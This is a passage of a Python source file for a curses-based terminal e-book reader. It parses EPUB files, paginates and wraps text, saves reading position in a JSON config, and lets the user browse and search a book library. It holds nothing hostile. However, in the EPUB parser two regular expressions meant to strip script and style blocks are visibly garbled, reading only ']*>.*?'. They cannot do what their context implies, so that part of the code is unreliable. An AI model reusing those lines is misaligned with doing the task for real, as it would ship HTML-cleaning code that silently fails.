                            lines.append(f"-- {text} --")
                            lines.append("")
        except Exception as e:
            lines = [f"Error parsing FB2: {str(e)}"]

        return lines

    def _parse_epub(self) -> List[str]:
        """Parse EPUB file into lines of text."""
        lines = []
        try:
            with zipfile.ZipFile(self.filepath, 'r') as z:
                namelist = z.namelist()

                # Find the OPF file to determine reading order
                opf_path = None
                for name in namelist:
                    if name.endswith('.opf'):
                        opf_path = name
                        break

                content_files = []
                if opf_path:
                    opf_content = z.read(opf_path).decode('utf-8', errors='ignore')
                    # Extract content file references
                    content_files = re.findall(r'href="([^"]+\.(?:x?html?|xml))"', opf_content, re.I)
                    # Make paths relative to OPF
                    opf_dir = os.path.dirname(opf_path)
                    if opf_dir:
                        content_files = [os.path.join(opf_dir, f).replace('\\', '/') for f in content_files]

                # If we couldn't find reading order, find all HTML files
                if not content_files:
                    content_files = [f for f in namelist
                                     if f.endswith(('.html', '.htm', '.xhtml', '.xml'))
                                     and not f.startswith('META-INF')]

                for content_file in content_files:
                    if content_file in namelist:
                        try:
                            content = z.read(content_file).decode('utf-8', errors='ignore')
                            # Strip HTML tags
                            text = re.sub(r']*>.*?', '', content, flags=re.S | re.I)
                            text = re.sub(r']*>.*?', '', text, flags=re.S | re.I)
                            text = re.sub(r'<[^>]+>', ' ', text)
                            text = html.unescape(text)
                            # Split into paragraphs
                            paragraphs = [p.strip() for p in re.split(r'\n\s*\n', text) if p.strip()]
                            for para in paragraphs:
                                # Wrap long lines
                                para = re.sub(r'\s+', ' ', para)
                                lines.append(para)
                                lines.append("")
                            lines.append("---")
                            lines.append("")
                        except Exception:
                            continue

        except Exception as e:
            lines = [f"Error parsing EPUB: {str(e)}"]

        return lines

    def _paginate(self, lines: List[str], width: int, height: int) -> None:
        """Split lines into pages based on screen size."""
        self.pages = []
        current_page = []
        lines_on_page = 0
        content_height = height - 2  # Reserve space for header/footer

        for line in lines:
            # Wrap long lines
            wrapped = self._wrap_line(line, width - 2)
            for wrapped_line in wrapped:
                if lines_on_page >= content_height:
                    self.pages.append(current_page)
                    current_page = [wrapped_line]
                    lines_on_page = 1
                else:
                    current_page.append(wrapped_line)
                    lines_on_page += 1

        # Don't forget the last page
        if current_page:
            self.pages.append(current_page)

        if not self.pages:
            self.pages = [["(Empty book)"]]

    def _wrap_line(self, line: str, width: int) -> List[str]:
        """Wrap a line to fit within the given width."""
        if len(line) <= width:
            return [line]

        words = line.split(' ')
        lines = []
        current_line = ""

        for word in words:
            if len(word) > width:
                # Long word, need to break it
                if current_line:
                    lines.append(current_line)
                    current_line = ""
                for i in range(0, len(word), width):
                    chunk = word[i:i+width]
                    if i + width < len(word):
                        lines.append(chunk + "-")
                    else:
                        current_line = chunk
            elif len(current_line) + len(word) + (1 if current_line else 0) > width:
                lines.append(current_line)
                current_line = word
            else:
                current_line = word if not current_line else current_line + " " + word

        if current_line:
            lines.append(current_line)

        return lines if lines else [line]


class Config:
    """Application configuration manager."""

    def __init__(self):
        self.library_paths: List[str] = []
        self.last_book: Optional[str] = None
        self.last_position: int = 0
        self.load()

    def load(self) -> None:
        """Load configuration from file."""
        if CONFIG_FILE.exists():
            try:
                with open(CONFIG_FILE, 'r') as f:
                    data = json.load(f)
                    self.library_paths = data.get('library_paths', [])
                    self.last_book = data.get('last_book')
                    self.last_position = data.get('last_position', 0)
            except (json.JSONDecodeError, IOError):
                pass

    def save(self) -> None:
        """Save configuration to file."""
        try:
            with open(CONFIG_FILE, 'w') as f:
                json.dump({
                    'library_paths': self.library_paths,
                    'last_book': self.last_book,
                    'last_position': self.last_position
                }, f)
        except IOError:
            pass

    def add_library_path(self, path: str) -> bool:
        """Add a new library path."""
        if os.path.isdir(path) and path not in self.library_paths:
            self.library_paths.append(path)
            self.save()
            return True
        return False


class PyReader:
    """Main application class."""

    def __init__(self):
        self.config = Config()
        self.books: List[Book] = []
        self.filtered_books: List[Book] = []
        self.current_book: Optional[BookContent] = None
        self.current_book_path: Optional[str] = None
        self.current_page = 0
        self.current_line = 0
        self.selected_index = 0
        self.search_query = ""
        self.search_mode = False
        self.number_input = ""
        self.exit_warning = False
        self.stdscr: Optional[Any] = None

    def run(self, stdscr) -> None:
        """Main application loop."""
        self.stdscr = stdscr
        curses.curs_set(0)  # Hide cursor
        stdscr.timeout(-1)  # Blocking input

        # Initialize colors
        curses.start_color()
        curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLUE)
        curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_WHITE)
        curses.init_pair(3, curses.COLOR_YELLOW, curses.COLOR_BLACK)
        curses.init_pair(4, curses.COLOR_GREEN, curses.COLOR_BLACK)

        # Check if first run
        if not self.config.library_paths:
            self._prompt_for_library_path()

        # Scan library and load books
        self._scan_library()

        # Try to restore last book
        if self.config.last_book and os.path.exists(self.config.last_book):
            self._open_book(self.config.last_book, self.config.last_position)

        self._main_loop()

    def _prompt_for_library_path(self) -> None:
        """Prompt user for initial library path."""
        while True:
            path = self._input_dialog("Enter path to books directory:", "")
            if path:
                expanded = os.path.expanduser(path)
                if os.path.isdir(expanded):
                    self.config.add_library_path(expanded)
                    break
            self._show_message("Invalid directory. Please try again.")

    def _add_library_path_dialog(self) -> None:
        """Dialog to add additional library paths."""
        path = self._input_dialog("Add library path:", "")
        if path:
            expanded = os.path.expanduser(path)
            if os.path.isdir(expanded):
                if self.config.add_library_path(expanded):
                    self._show_message(f"Added: {expanded}")
                    self._scan_library()
                else:
                    self._show_message("Path already in library or invalid.")
            else:
                self._show_message("Directory not found.")

    def _scan_library(self) -> None:
        """Scan library paths for books."""
        book_files = []
        for path in self.config.library_paths:
            expanded = os.path.expanduser(path)
            if os.path.isdir(expanded):
                for root, _, files in os.walk(expanded):
                    for file in files:
                        if file.lower().endswith(SUPPORTED_FORMATS):
                            book_files.append(os.path.join(root, file))

        # Sort alphabetically and assign IDs
        book_files.sort(key=lambda x: Path(x).stem.lower())
        self.books = [Book(f, i + 1) for i, f in enumerate(book_files)]
        self.filtered_books = self.books.copy()
        self.selected_index = 0

    def _main_loop(self) -> None:
        """Main input/render loop."""
        while True:
            self._render()
            key = self.stdscr.getch()

            if key == -1:
                continue

            # Handle terminal resize
            if key == curses.KEY_RESIZE:
                if self.current_book and self.current_book_path:
                    # Re-parse book for new dimensions
                    self._open_book(self.current_book_path, self.current_page)
                continue

            if self.current_book:
                if self._handle_reader_input(key):
                    break
            else:
                if self._handle_library_input(key):
                    break

    def _handle_reader_input(self, key: int) -> bool:
        """Handle input in reader mode. Returns True to exit app."""
        if self.search_mode:
            if key == 27:  # ESC
                self.search_mode = False
                self.search_query = ""
            elif key == ord('\n') or key == curses.KEY_ENTER:
                self.search_mode = False
            elif key == curses.KEY_BACKSPACE or key == 127:
                self.search_query = self.search_query[:-1]
            elif 32 <= key < 127:
                self.search_query += chr(key)
            return False

        if key == 27:  # ESC - return to library
            self._close_book()
            return False

        if key == ord(' ') or key == curses.KEY_DOWN:
            # Scroll one line
            self._scroll_line(1)
        elif key == curses.KEY_UP:
            self._scroll_line(-1)
        elif key == curses.KEY_RIGHT or key == curses.KEY_NPAGE:
            self._change_page(1)
        elif key == curses.KEY_LEFT or key == curses.KEY_PPAGE:
            self._change_page(-1)
        elif key == curses.KEY_HOME:
            self.current_page = 0
            self.current_line = 0
        elif key == curses.KEY_END:
            if self.current_book:
                self.current_page = len(self.current_book.pages) - 1
                self.current_line = 0
        elif key == ord('q') or key == ord('Q'):
            self._close_book()

        return False

    def _handle_library_input(self, key: int) -> bool:
        """Handle input in library mode. Returns True to exit app."""
        if self.search_mode:
            if key == 27:  # ESC
                self.search_mode = False
                self.search_query = ""
                self.filtered_books = self.books.copy()
            elif key == ord('\n') or key == curses.KEY_ENTER:
                self._execute_search()
            elif key == curses.KEY_BACKSPACE or key == 127:
                self.search_query = self.search_query[:-1]
            elif 32 <= key < 127:
                self.search_query += chr(key)
            return False

        if self.number_input:
            if key == ord('\n') or key == curses.KEY_ENTER:
                self._select_by_number()
                return False
            elif key == 27:  # ESC
                self.number_input = ""
                return False
            elif key == curses.KEY_BACKSPACE or key == 127:
                self.number_input = self.number_input[:-1]
            elif ord('0') <= key <= ord('9'):
                self.number_input += chr(key)
            return False

        if key == 27:  # ESC
            if self.exit_warning:
                return True
            else:
                self.exit_warning = True
                return False

        self.exit_warning = False

        if key == ord('\n') or key == curses.KEY_ENTER:
            self._open_selected_book()
        elif key == curses.KEY_UP:
            self.selected_index = max(0, self.selected_index - 1)
        elif key == curses.KEY_DOWN:
            self.selected_index = min(len(self.filtered_books) - 1, self.selected_index + 1)
        elif key == curses.KEY_HOME:
            self.selected_index = 0
        elif key == curses.KEY_END:
            self.selected_index = len(self.filtered_books) - 1
        elif key == curses.KEY_PPAGE:
            self.selected_index = max(0, self.selected_index - 10)
        elif key == curses.KEY_NPAGE:
            self.selected_index = min(len(self.filtered_books) - 1, self.selected_index + 10)
        elif key == ord('q') or key == ord('Q'):
            if self.exit_warning:
                return True
            self.exit_warning = True
        elif key == 23:  # Ctrl+W - Search
            self.search_mode = True
            self.search_query = ""
        elif key == 12:  # Ctrl+L - Add library path
            self._add_library_path_dialog()
        elif ord('0') <= key <= ord('9'):
            self.number_input = chr(key)

        return False

    def _execute_search(self) -> None:
        """Execute search based on current query."""
        query = self.search_query.lower().strip()
        if not query:
            self.filtered_books = self.books.copy()
        else:
            # Check if query is a number
            if query.isdigit():
                book_id = int(query)
                self.filtered_books = [b for b in self.books if b.book_id == book_id]
            else:
                # Search by title/author
                self.filtered_books = [b for b in self.books
                                       if query in b.title.lower()
                                       or query in b.author.lower()]
        self.selected_index = 0
        self.search_mode = False

    def _select_by_number(self) -> None:
        """Select book by number input."""
        if self.number_input.isdigit():
            book_id = int(self.number_input)
            for book in self.filtered_books:
                if book.book_id == book_id:
                    self._open_book(book.filepath, 0)
                    break
        self.number_input = ""

    def _open_selected_book(self) -> None:
        """Open the currently selected book."""
        if 0 <= self.selected_index < len(self.filtered_books):
            book = self.filtered_books[self.selected_index]
            self._open_book(book.filepath, 0)

    def _open_book(self, filepath: str, position: int) -> None:
        """Open a book file."""
        try:
            self.current_book = BookContent(filepath)
            height, width = self.stdscr.getmaxyx()
            self.current_book.parse(width, height)
            self.current_book_path = filepath

            # Restore position
            if position < len(self.current_book.pages):
                self.current_page = position
            else:
                self.current_page = 0
            self.current_line = 0
        except Exception as e:
            self._show_message(f"Error opening book: {str(e)}")

    def _close_book(self) -> None:
        """Close current book and return to library."""
        if self.current_book and self.current_book_path:
            self.config.last_book = self.current_book_path
            self.config.last_position = self.current_page
            self.config.save()

        self.current_book = None
        self.current_book_path = None
        self.current_page = 0
        self.current_line = 0

    def _change_page(self, delta: int) -> None:
        """Change page by delta."""
        if not self.current_book:
            return
        new_page = self.current_page + delta
        new_page = max(0, min(len(self.current_book.pages) - 1, new_page))
        self.current_page = new_page
        self.current_line = 0

    def _scroll_line(self, delta: int) -> None:
        """Scroll by line within current page."""
        if not self.current_book:
            return

        height, _ = self.stdscr.getmaxyx()
        content_height = height - 2

        new_line = self.current_line + delta

        # Check if we need to change pages
        page_lines = len(self.current_book.pages[self.current_page])

        if new_line >= page_lines and self.current_page < len(self.current_book.pages) - 1:
            self.current_page += 1
            self.current_line = 0
        elif new_line < 0 and self.current_page > 0:
            self.current_page -= 1
            page_lines = len(self.current_book.pages[self.current_page])
            self.current_line = max(0, page_lines - content_height + 1)
        else:
            self.current_line = max(0, min(page_lines - 1, new_line))

    def _render(self) -> None:
        """Render the current screen."""
        self.stdscr.erase()
        height, width = self.stdscr.getmaxyx()

        if self.current_book:
            self._render_reader(height, width)
        else:
            self._render_library(height, width)

        self.stdscr.refresh()

    def _render_library(self, height: int, width: int) -> None:
        """Render the library view."""
        # Header
        header = " PyReader - Library "
        if self.exit_warning:
            header = " PyReader - Press ESC again to exit "
        self.stdscr.addstr(0, 0, header[:width].center(width), curses.color_pair(1))

        # Search bar or number input indicator
        if self.search_mode:
            search_line = f"Search: {self.search_query}"
            self.stdscr.addstr(1, 0, search_line[:width], curses.color_pair(3))
        elif self.number_input:
            num_line = f"Go to #: {self.number_input}"
            self.stdscr.addstr(1, 0, num_line[:width], curses.color_pair(3))
        else:
            # Instructions
            instructions = "Ctrl+W: Search | Ctrl+L: Add Path | Enter: Open | ESC: Exit"
            self.stdscr.addstr(1, 0, instructions[:width], curses.color_pair(4))

        # Book count
        count_text = f"Books: {len(self.filtered_books)}"
        self.stdscr.addstr(2, 0, count_text[:width])

        # Book list
        list_start = 4
        list_height = height - list_start - 1

        if self.filtered_books:
            # Calculate visible range
            start_idx = max(0, self.selected_index - list_height // 2)
            end_idx = min(len(self.filtered_books), start_idx + list_height)

            for i in range(start_idx, end_idx):
                book = self.filtered_books[i]
                y = list_start + (i - start_idx)

                if y >= height - 1:
                    break

                line = book.display_text[:width - 1]
                if i == self.selected_index:
                    self.stdscr.addstr(y, 0, line.ljust(width - 1), curses.color_pair(2))
                else:
                    self.stdscr.addstr(y, 0, line)
        else:
            msg = "No books found. Press Ctrl+L to add library paths."
            self.stdscr.addstr(list_start, 0, msg[:width])

        # Footer with library paths
        footer = f"Libraries: {len(self.config.library_paths)} path(s)"
        self.stdscr.addstr(height - 1, 0, footer[:width], curses.color_pair(1))

    def _render_reader(self, height: int, width: int) -> None:
        """Render the reader view."""
        if not self.current_book:
            return

        content_height = height - 2

        # Header with title
        title = Path(self.current_book_path).stem[:width - 1] if self.current_book_path else "Unknown"
        self.stdscr.addstr(0, 0, title.center(width), curses.color_pair(1))

        # Content
        if 0 <= self.current_page < len(self.current_book.pages):
            page = self.current_book.pages[self.current_page]

            for i in range(content_height):
                line_idx = self.current_line + i
                if line_idx < len(page):
                    line = page[line_idx][:width - 1]
                    self.stdscr.addstr(i + 1, 0, line)
                else:
                    break

        # Footer with page info
        total_pages = len(self.current_book.pages)
        page_info = f"Page {self.current_page + 1}/{total_pages}"
        self.stdscr.addstr(height - 1, 0, page_info[:width], curses.color_pair(1))

    def _input_dialog(self, prompt: str, default: str = "") -> str:
        """Show an input dialog and return user input."""
        curses.echo()
        curses.curs_set(1)
        self.stdscr.timeout(-1)  # Blocking input
        self.stdscr.erase()
        height, width = self.stdscr.getmaxyx()

        self.stdscr.addstr(height // 2 - 2, 2, prompt[:width - 4])
        self.stdscr.addstr(height // 2, 2, default)
        self.stdscr.refresh()

        try:
            self.stdscr.move(height // 2, 2)
            result = self.stdscr.getstr(height // 2, 2, 256).decode('utf-8').strip()
            return result
        except:
            return ""
        finally:
            curses.noecho()
            curses.curs_set(0)

    def _show_message(self, message: str) -> None:
        """Show a message and wait for key press."""
        self.stdscr.timeout(-1)  # Blocking input
        self.stdscr.erase()
        height, width = self.stdscr.getmaxyx()
        self.stdscr.addstr(height // 2, 0, message[:width].center(width), curses.color_pair(3))
        self.stdscr.addstr(height // 2 + 2, 0, "Press any key to continue..."[:width].center(width))
        self.stdscr.refresh()
        self.stdscr.getch()


def main():
    """Entry point."""
    app = PyReader()
    curses.wrapper(app.run)


if __name__ == "__main__":
    main()